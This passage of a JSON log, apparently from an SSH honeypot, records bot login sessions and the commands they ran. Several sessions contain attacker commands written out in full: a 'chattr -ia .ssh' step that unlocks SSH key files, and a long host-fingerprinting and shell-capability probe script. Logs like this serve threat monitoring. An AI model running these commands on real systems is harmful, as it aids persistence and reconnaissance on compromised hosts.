  "think_ms": 499,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T16:18:18.633554+00:00",
  "ended_at": "2026-08-26T16:18:20.403154+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2094
 },
 {
  "id": "ce893d5b-15ce-4fa5-be71-8cd39d8b699a",
  "name": "amber-honest-hamster",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 40826,
  "username": "controlm",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T16:18:00.295960+00:00",
  "ended_at": "2026-08-26T16:18:01.078195+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "aaacb1d5-7241-49a0-802e-21ca582445f0",
  "name": "creaky-autumn-ouzel",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 40814,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T16:17:58.154172+00:00",
  "ended_at": "2026-08-26T16:17:59.178477+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "c98a2ef3-536c-4b1e-9384-85673500e728",
  "name": "mottled-wooded-skink",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "23.175.50.52",
  "src_port": 64129,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T16:16:15.236070+00:00",
  "ended_at": "2026-08-26T16:16:17.238346+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "51c78759-f8f4-46c7-bdc1-3820efd2e63e",
  "name": "hollow-velvet-mongoose",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "92.118.39.50",
  "src_port": 57922,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-26T16:16:08.164719+00:00",
  "ended_at": "2026-08-26T16:16:08.290032+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "f57ca815-b782-4e35-be98-071ce4ec1f9d",
  "name": "somber-mottled-snipe",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "20.153.204.5",
  "src_port": 59328,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 534,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T16:14:52.536092+00:00",
  "ended_at": "2026-08-26T16:14:53.834919+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2126
 },
 {
  "id": "a8290ada-69dd-4c65-a144-c0a701966e3a",
  "name": "lawful-hardy-hoopoe",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 59344,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T16:14:32.421168+00:00",
  "ended_at": "2026-08-26T16:14:34.461159+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "8f23e1ed-b917-4595-a5ac-cab9d9d5f3a6",
  "name": "clever-calm-catbird",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 59338,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T16:14:30.258267+00:00",
  "ended_at": "2026-08-26T16:14:31.368485+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "81e53f55-72a7-4952-b533-a5bc1b172592",
  "name": "noble-feathered-mongoose",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "92.118.39.50",
  "src_port": 55060,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-26T16:14:05.877140+00:00",
  "ended_at": "2026-08-26T16:14:06.004539+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "db3cec95-98a1-45a5-9705-d78bf1c9a029",
  "name": "orderly-wooded-cuckoo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "92.118.39.50",
  "src_port": 52204,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-26T16:12:15.619195+00:00",
  "ended_at": "2026-08-26T16:12:15.727005+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "bafd474c-e03f-424c-be68-3e985b4e0fd4",
  "name": "sullen-misty-pheasant",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "20.153.204.5",
  "src_port": 51918,
  "username": "servidor",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 521,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T16:11:48.430238+00:00",
  "ended_at": "2026-08-26T16:11:49.728042+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2062
 },
 {
  "id": "486b5f0e-3d87-49b5-af34-63b9e7f88c2d",
  "name": "hazel-kindly-osprey",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 47492,
  "username": "servidor",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T16:11:34.355145+00:00",
  "ended_at": "2026-08-26T16:11:35.651025+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "5b39a1e5-9e60-4ca8-9899-57b86533bfae",
  "name": "sleepy-forlorn-quail",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 51920,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T16:11:31.204603+00:00",
  "ended_at": "2026-08-26T16:11:33.246272+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "2070e05b-4fee-450d-998b-a7956187ad22",
  "name": "prickly-western-tapir",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "102.220.160.113",
  "src_port": 14244,
  "username": "math",
  "client_version": "SSH-2.0-libssh_0.12.0",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T16:11:20.480042+00:00",
  "ended_at": "2026-08-26T16:11:22.218636+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "49fac436-e767-4d97-adb7-a2aeea6f4635",
  "name": "lucid-muted-nightjar",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "92.118.39.50",
  "src_port": 49344,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-26T16:10:24.631428+00:00",
  "ended_at": "2026-08-26T16:10:24.758753+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "b5467cdb-015c-4b4f-9341-16cdb32175c3",
  "name": "sleepy-emerald-goose",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "20.153.204.5",
  "src_port": 56616,
  "username": "arthur",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 528,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T16:08:46.379888+00:00",
  "ended_at": "2026-08-26T16:08:47.311563+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2047
 },
 {
  "id": "f6aa313f-8543-44b7-9b12-e68226a604e6",
  "name": "bashful-foggy-roebuck",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "92.118.39.50",
  "src_port": 46466,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho 